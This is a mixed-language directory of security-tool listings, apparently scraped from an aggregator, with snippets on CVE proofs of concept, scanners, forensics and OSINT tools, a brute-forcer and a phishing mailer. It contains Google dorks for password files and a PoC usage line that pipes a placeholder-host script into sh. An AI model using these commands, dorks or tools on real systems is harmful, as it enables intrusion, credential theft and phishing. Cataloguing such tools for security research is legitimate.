basecrack

BaseCrack Decodificador para esquemas de codificación Base BaseCrack es una herramienta escrita en Python que puede decodificar todos los esquemas de codificación base alfanuméricos. Esta herramienta puede aceptar entrada de un solo usuario, múltiples entradas desde un archivo, entrada desde...

CVE-2021-46078

CVE-2021-46078 Título del Exploit: Vehicle Service Management System - 'Múltiple' carga de archivos conduce a Cross-Site Scripting Almacenado Autor del Exploit: SANU P.L CVE: CVE-2021-46078 CVSS: 4.8 MEDIO Referencias:...

CVE-2023-6972-Exploit-Arbitrary-File-Deletion

CVE-2023-6972 Prueba de Concepto PoC Descripción Este repositorio contiene una prueba de concepto PoC del exploit para CVE-2023-6972. La vulnerabilidad permite la eliminación arbitraria de archivos sin autenticación AFD en el plugin de migración de respaldo de Wordpress Nota: Un análisis técnico...

Complete-google-dorks

Complete-google-sql-dorks news/news.php?id= -site:php.net -"The PHP Group" inurl:source inurl:url ext:pHp !Host=. intext:encUserPassword= ext:pcf ?action= ?cat= ?id= ?intitle:index.of? mp3 artist-name-here ?intitle:index.of? mp3 name ?page= ?pagerequested= ?pid= " -FrontPage-" ext:pwd inurl:servi...

MEAT

M.E.A.T. - 移动取证采集工具包 认识 M.E.A.T！ 来自 Jack Farley - BlackStone Discovery 此工具包旨在帮助取证人员对 iOS 设备（未来还将支持 Android）执行不同类型的采集工作。 从源码运行的要求 Windows 或 Linux Python 3.7.4 或 3.7.2 requirements.txt 中的 Pip 包 支持的采集类型 iOS 设备 逻辑采集 使用 MEAT 的逻辑采集标志将指示工具提取通过 AFC...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Este es solo un script de conveniencia que escribí para pruebas. Salida root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc...

poro

poro Description Scan for publicly accessible assets on your AWS environment Services covered by this tool: AWS ELB API Gateway S3 Buckets RDS Databases EC2 instances Redshift Databases Poro also check if a tag you specify is applied to identified public resources using --tag-key and --tag-value...

CVE-2024-28000

LiteSpeed Cache Privilege Escalation Exp CVE-2024-28000Scan.py Este script primero identificará la versión, determinará si es una versión vulnerable, luego intentará confirmar si existe el archivo de registro. Si existe, intentará enviar paquetes y luego solicitará nuevamente el archivo de regist...

CVE-2023-33253

CVE-2023-33253 LabCollector 6.0 though 6.15 allows remote code execution An authenticated remote low-privileged user can upload an executable PHP file and execute system commands. The vulnerability is in the message function, and is due to insufficient validation of the file such as...

bitcrook

Bitcrook Centraliza y acelera las investigaciones OSINT Ver la hoja de ruta Índice Información Acerca de Descargo de responsabilidad Registro de cambios Vista previa Atribuciones Uso Instalación CLI GUI Docker Autenticación Información Acerca de Bitcrook es un sistema de inteligencia de código...

goCabrito

goCabrito 用于发送钓鱼邮件活动的超级组织和灵活的脚本。 功能 发送给单个邮箱 发送给邮箱列表（文本） 发送带姓名的邮箱列表（CSV） 支持附件 将邮件分组发送 在每组之间延迟发送 支持在邮件正文中放置和替换标签 在HTML消息中添加name标签，用于替换为姓名（与--to CSV配合使用）。 在HTML消息的URL中添加track-click标签。 在HTML消息中添加track-open标签。 添加num标签，替换为随机电话号码。 支持不同的活动配置文件，以避免错误和混淆。 支持创建已发送邮件的数据库，每个邮件带有唯一哈希值（与getCabrito配合使用）...

Parth

Parth Heuristic Vulnerable Parameter Scanner Introduction Some HTTP parameter names are more commonly associated with one functionality than the others. For example, the parameter ?url= usually contains URLs as the value and hence often falls victim to file inclusion, open redirect and SSRF...

malware-jail

malware-jail Sandbox para análisis semiautomático de malware JavaScript, desofuscación y extracción de payload. Escrito para Node.js malware-jail está escrito para el sandbox 'vm' de Node. Actualmente implementa el contexto WScript Windows Scripting Host env/wscript.js, al menos la parte usada...

CVE-2022-2602-Kernel-Exploit

CVE-2022-2602-Exploit-del-Kernel Detalles https://blog.hacktivesecurity.com/index.php/2022/12/21/cve-2022-2602-dirtycred-file-exploitation-applied-on-an-iouring-uaf/ TL;DR La vulnerabilidad es un Use-After-Free que afecta la funcionalidad de descriptor de archivo registrado en el subsistema...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Apache Tomcat Remote Code Execution on Windows cgi-bin Usage: root@kitploit: Usage: python CVE-2019-0232.py url cmd Test Environment: root@kitploit: jdk8 apache-tomcat-8.5.39...

SNMP-Brute

SNMP Brute Script de fuerza bruta SNMP, enumeración, descarga de configuración CISCO y descifrado de contraseñas. Escucha cualquier respuesta a las cadenas de comunidad de fuerza bruta, minimizando efectivamente el tiempo de espera. Requisitos metasploit snmpwalk snmpstat john the ripper Uso pyth...

wig

wig - WebApp Information Gatherer wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications. The application fingerprinting is based on checksums and string matching of known files for different versions of...

wig

wig - Recopilador de Información de Aplicaciones Web wig es una herramienta de recopilación de información de aplicaciones web, que puede identificar numerosos Sistemas de Gestión de Contenidos y otras aplicaciones administrativas. La identificación de aplicaciones se basa en sumas de verificació...

SenselessViolence

SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 Exploitation Toolkit. What? This is an exploitation toolkit for the pfSense pfBlockerNG = 2.1.426 plugins remote command injection feature discovered by IHTeam. I wrote this to play around with some of the design principles found in t...

Blazy

Blazy Blazy realiza ataques de fuerza bruta a logins Uso root@kitploit: python3 main.py -i url/file Créditos Robé descaradamente el analizador de formularios de guettli...